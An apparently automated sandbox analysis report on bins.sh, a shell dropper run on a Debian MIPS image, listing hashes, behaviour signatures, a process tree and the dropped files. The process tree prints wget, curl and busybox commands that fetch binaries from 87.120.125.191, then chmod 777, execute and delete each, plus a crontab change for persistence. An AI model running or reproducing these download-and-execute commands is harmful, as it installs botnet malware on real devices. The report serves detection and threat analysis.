Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    24-11-2024 07:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    245399d5b11b1319056964a63b42e045

  • SHA1

    1226f9d148106b665043268caa31418cda073f78

  • SHA256

    d3eecd8c36ad1ce9baed5ddca10403b25037fb7db0baba17634b2343aec6e009

  • SHA512

    d7b83fe26010bb9cda4ee7d677bde605276d60d1be25c43cc4a6c4d9b98efd79a73149c4ba1f72ac3ee9c68b7201c310be79a1ca865fde0324e8ae94cdaa7482

  • SSDEEP

    192:mAw0aeSJ7lNm7dFu7I4nhhMWKnHzjWKb7EM1TXcQAd2n2T21G+tfzfz7fr8AwFIN:bO6e2T2q1G+J82q1G+BY

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1862) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:705
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:710
        • /usr/bin/wget
          wget http://87.120.125.191/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • Writes file to tmp directory
          PID:712
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • Writes file to tmp directory
          PID:725
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • Writes file to tmp directory
          PID:732
        • /bin/chmod
          chmod 777 Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • File and Directory Permissions Modification
          PID:733
        • /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          ./Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • Executes dropped EXE
          PID:734
        • /bin/rm
          rm Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
            PID:736
          • /usr/bin/wget
            wget http://87.120.125.191/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • Writes file to tmp directory
            PID:737
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:738
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • Writes file to tmp directory
            PID:739
          • /bin/chmod
            chmod 777 RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • File and Directory Permissions Modification
            PID:740
          • /tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            ./RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • Executes dropped EXE
            PID:741
          • /bin/rm
            rm RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
              PID:743
            • /usr/bin/wget
              wget http://87.120.125.191/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • Writes file to tmp directory
              PID:744
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • Writes file to tmp directory
              PID:745
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • Writes file to tmp directory
              PID:746
            • /bin/chmod
              chmod 777 CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • File and Directory Permissions Modification
              PID:750
            • /tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              ./CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • Executes dropped EXE
              PID:751
            • /bin/rm
              rm CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
                PID:754
              • /usr/bin/wget
                wget http://87.120.125.191/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • Writes file to tmp directory
                PID:755
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:762
              • /bin/busybox
                /bin/busybox wget http://87.120.125.191/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • Writes file to tmp directory
                PID:773
              • /bin/chmod
                chmod 777 QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • File and Directory Permissions Modification
                PID:776
              • /tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                ./QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:777
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:780
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:781
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:783
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:784
                    • /bin/rm
                      rm QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                      2⤵
                        PID:793
                      • /usr/bin/wget
                        wget http://87.120.125.191/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                        2⤵
                          PID:797

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs

                        Filesize

                        141KB

                        MD5

                        3ca8decdb1e52c423c521bfff02ac200

                        SHA1

                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                        SHA256

                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                        SHA512

                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                      • /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59

                        Filesize

                        107KB

                        MD5

                        eb9c3a0de91fcf16ba17cb24608df68c

                        SHA1

                        09d95a7d70d5e115d103be51edff7c498d272fac

                        SHA256

                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                        SHA512

                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                      • /tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q

                        Filesize

                        151KB

                        MD5

                        6c583043d91c55aa470c08c87058e917

                        SHA1

                        abf65a5b9bba69980278ad09356e53de8bb89439

                        SHA256

                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                        SHA512

                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                      • /tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7

                        Filesize

                        177KB

                        MD5

                        786d75a158fe731feca3880f436082c0

                        SHA1

                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                        SHA256

                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                        SHA512

                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                      • /var/spool/cron/crontabs/tmp.tBoFY9

                        Filesize

                        210B

                        MD5

                        308d9fdfb5558d224283977d83cf4ba4

                        SHA1

                        4f6da1c9f05fa97030c23b7830375965785a4008

                        SHA256

                        4d8ad4b6b4f331ed5b78ce5e4c00314a66e83f8bae915d6e0efcdd410f4c056a

                        SHA512

                        7125ddaabbbab33ba62470955ea2e04c41ce8b4281ad2df0b446382570b4797854a02025ad4d648afc5cc694188459d3247fa12041a09d3a12ce2814c02c3bcf